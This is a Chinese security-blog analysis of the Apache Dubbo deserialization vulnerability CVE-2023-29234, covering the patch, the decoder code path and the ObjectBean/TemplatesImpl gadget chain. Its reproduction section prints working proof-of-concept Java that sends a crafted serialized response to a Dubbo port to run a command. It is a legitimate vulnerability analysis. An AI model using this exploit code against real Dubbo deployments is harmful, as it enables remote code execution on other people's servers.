freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache dubbo反序列化漏洞分析(CVE-2023-29234)
锐捷天幕安全实验室 2024-02-26 15:09:51 217306

漏洞概述

Apache Dubbo 是阿里巴巴公司开源的一种高性能、轻量级的开源分布式服务框架,使得开发者能够更容易地构建可扩展、高性能的分布式系统。

2023年12月15日,Apache 官方发布安全通告,披露了其 Dubbo 存在反序列化漏洞(CVE-2023-29234),该漏洞源于Dubbo在处理传入的序列化数据包时没有对其恶意代码进行过滤,攻击者可以通过向 Dubbo 服务发送特制的序列化对象来利用此漏洞。该问题受影响版本:Apache Dubbo 3.1.0-3.1.10,3.2.0-3.2.4。

漏洞分析

补丁查看

查看apache-dubbo的github:https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a

1708929690_65dc329a83010686ae9db.png!small?1708929690198

源代码中因为使用了字符串拼接,在抛出异常时会直接打印obj对象,所以obj对象会自动调用其toString方法,从而导致恶意代码被执行。

利用点分析

在上述代码中,obj对象被用于构造一个IOException 的错误消息。Java中的字符串连接操作(+)会隐式地调用对象的 toString() 方法,将对象转换为字符串。因此,当obj对象被连接到字符串中时,其toString() 方法将被自动调用。

如果obj对象所在类有重写toString()则调用重写后的toString(),没有重写就调用父类Object的toString方法。

因此这里的漏洞利用思路就是将传入的Object类重新toString方法,并在重写的toString方法中插入恶意代码。

在调试时意外发现,到断点处会弹计算器

1708929725_65dc32bd328d17bfa8d28.png!small?1708929724851

研究了一下原理:

  • IDEA在debug程序时,当debug到某个对象时,会调用对象的toString()方法,用来在debug界面显示对象信息。
  • IDEA调用toString()方法时,即使在toString()方法中设置了断点,该断点也不会被触发,也就是说,开发者多数情况下不会知道toString()方法被调用了
  • 多数情况下调用一下toString()方法没有什么问题,但是也有例外,比如重写了toString()方法的类,随意的调用toString()方法会导致未知的问题。

IDEA在debug时调用toString()方法的情况是可以在配置中关掉的:

1708929753_65dc32d9bae1feb5f17b2.png!small?1708929753634

利用链分析

该漏洞的调用过程如下

1708929775_65dc32ef50792a8457804.png!small?1708929774692

根据类名进行回溯这里大致是要进入到Dubbo的解码器中,关键是要进入到DecodeableRpcResult#decode。

Dubbo在解码时会调用org.apache.dubbo.rpc.rotocol.dubbo.DubboCodec#decodeBody方法

protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
    byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);
    // get request id.
    long id = Bytes.bytes2long(header, 4);
    if ((flag & FLAG_REQUEST) == 0) {
        // decode response.
        Response res = new Response(id);
        if ((flag & FLAG_EVENT) != 0) {
            res.setEvent(true);
        }
        // get status.
        byte status = header[3];
        res.setStatus(status);
        try {
            if (status == Response.OK) {
                Object data;
                if (res.isEvent()) {
                    byte[] eventPayload = CodecSupport.getPayload(is);
                    if (CodecSupport.isHeartBeat(eventPayload, proto)) {
                        // heart beat response data is always null;
                        data = null;
                    } else {
                        ObjectInput in = CodecSupport.deserialize(channel.getUrl(), new ByteArrayInputStream(eventPayload), proto);
                        data = decodeEventData(channel, in, eventPayload);
                    }
                } else {
                    DecodeableRpcResult result;
                    if (channel.getUrl().getParameter(DECODE_IN_IO_THREAD_KEY, DEFAULT_DECODE_IN_IO_THREAD)) {
                        result = new DecodeableRpcResult(channel, res, is,
                            (Invocation) getRequestData(id), proto);
                        result.decode();
                    } else {
                        result = new DecodeableRpcResult(channel, res,
                            new UnsafeByteArrayInputStream(readMessageData(is)),
                            (Invocation) getRequestData(id), proto);
                    }
                    data = result;
                }
                res.setResult(data);
            } else {
                ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
                res.setErrorMessage(in.readUTF());
            }
        } catch (Throwable t) {
            if (log.isWarnEnabled()) {
                log.warn(PROTOCOL_FAILED_DECODE, "", "", "Decode response failed: " + t.getMessage(), t);
            }
            res.setStatus(Response.CLIENT_ERROR);
            res.setErrorMessage(StringUtils.toString(t));
        }
        return res;
    } else {
        // decode request.
       ...
    }

在上段代码中,当响应标志位被设置(FLAG_REQUEST==1时),会进入到decode response触发DecodeableRpcResult#decode方法调用。

在解码服务端响应报文时,先读取状态标志,然后根据状态标志判断后续的数据内容。响应结果首先会写一个字节标记位。因此,为了进入到handleException(),在构造响应体时,需要设置对应的状态标志。

1.处理标记位代表返回值为Null的场景。

2.代表正常返回,首先判断请求方法的返回值类型,返回值类型方便底层反序列化正确读取,将读取的值存在result字段中。

3.如果返回值包含泛型 ,则调用反序列化解析接口

4.处理服务端返回异常对象的场景, 同时会将结果保存在exception字段中。

5.处理返回值为Null,并且支持服务端请求额外参数透传给客户端,在客户端会继续读取保存在HashMap中的请求额外参数值。

public Object decode(Channel channel, InputStream input) throws IOException {
        if (log.isDebugEnabled()) {
            Thread thread = Thread.currentThread();
            log.debug("Decoding in thread -- [" + thread.getName() + "#" + thread.getId() + "]");
        }

        // switch TCCL
        if (invocation != null && invocation.getServiceModel() != null) {
            Thread.currentThread().setContextClassLoader(invocation.getServiceModel().getClassLoader());
        }
        ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
            .deserialize(channel.getUrl(), input);

        byte flag = in.readByte();
        switch (flag) {
            case DubboCodec.RESPONSE_NULL_VALUE:
                break;
            case DubboCodec.RESPONSE_VALUE:
                handleValue(in);
                break;
            case DubboCodec.RESPONSE_WITH_EXCEPTION:
                handleException(in);
                break;
            case DubboCodec.RESPONSE_NULL_VALUE_WITH_ATTACHMENTS:
                handleAttachment(in);
                break;
            case DubboCodec.RESPONSE_VALUE_WITH_ATTACHMENTS:
                handleValue(in);
                handleAttachment(in);
                break;
            case DubboCodec.RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS:
                handleException(in);
                handleAttachment(in);
                break;
            default:
                throw new IOException("Unknown result flag, expect '0' '1' '2' '3' '4' '5', but received: " + flag);
        }
        if (in instanceof Cleanable) {
            ((Cleanable) in).cleanup();
        }
        return this;
    }

gadget

有多种toString方法开始触发的的gadget,这里选择了ObjectBean.toString()作为toString方法开始触发的的gadget。

com.sun.syndication.feed.impl.ToStringBean是给对象提供toString方法的类, 类中有两个toString方法, 第一个是无参的方法, 获取调用链中上一个类或_obj属性中保存对象的类名, 并调用第二个toString方法. 在第二个toString方法中, 会调用BeanIntrospector#getPropertyDescriptors来获取_beanClass的所有getter和setter方法, 接着会根据参数使用_obj实例进行反射调用, 通过这个点可以用来触发 TemplatesImpl 的利用链。

调用链:

ObjectBean.toString()
    ToStringBean.toString()
        TemplatesImpl.getOutputProperties()

漏洞复现

Version:2.1.5

JDK:1.8.0_381

利用公开的Poc进行复现,测试POC的核心代码如下:

public static void main(String[] args) throws Exception {

    ByteArrayOutputStream boos = new ByteArrayOutputStream();
    ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
    Serialization serialization = new NativeJavaSerialization();
    NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

    // header.
    byte[] header = new byte[HEADER_LENGTH];
    // set magic number.
    Bytes.short2bytes(MAGIC, header);
    // set request and serialization flag.
    header[2] = serialization.getContentTypeId();

    header[3] = Response.OK;
    Bytes.long2bytes(1, header, 4);

    // result
    Object exp = getThrowablePayload("calc.exe"); // Rome toString 利用链
    out.writeByte((byte) 0);
    out.writeObject(exp);

    out.flushBuffer();

    Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
    boos.write(header);
    boos.write(nativeJavaBoos.toByteArray());

    byte[] responseData = boos.toByteArray();

    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(responseData);
    outputStream.flush();
    outputStream.close();
}

    protected static Object getThrowablePayload(String command) throws Exception {
    Object o = Gadgets.createTemplatesImpl(command);
    ObjectBean delegate = new ObjectBean(Templates.class, o);

    return delegate;
}

1708929803_65dc330b7a9bb7c3b9d95.png!small

修复建议

升级Apache Dubbo 至对应安全版本。

参考

https://github.com/RacerZ-fighting/DubboPOC/tree/1bdbf4927f8d43df80648db9f2784b2b851ea7a4

# web安全 # 漏洞分析 # 网络安全技术
本文为 锐捷天幕安全实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
锐捷天幕安全实验室 LV.4
天幕安全实验室隶属于锐捷网络安全产品事业部,专注于安全威胁监测分析与研究,攻防对抗技术研究,研究目标包括 Botnet、僵木蠕分析,APT 高级威胁、勒索、挖矿,WEB 与系统漏洞分析 以及最新的攻防技巧研究,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑!
  • 22 文章数
  • 45 关注者
Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)
2024-11-25
Weblogic CVE-2022-21350 RCE漏洞分析
2024-11-24
真实较量|浅谈蜜罐场景下的攻与防
2024-11-10
文章目录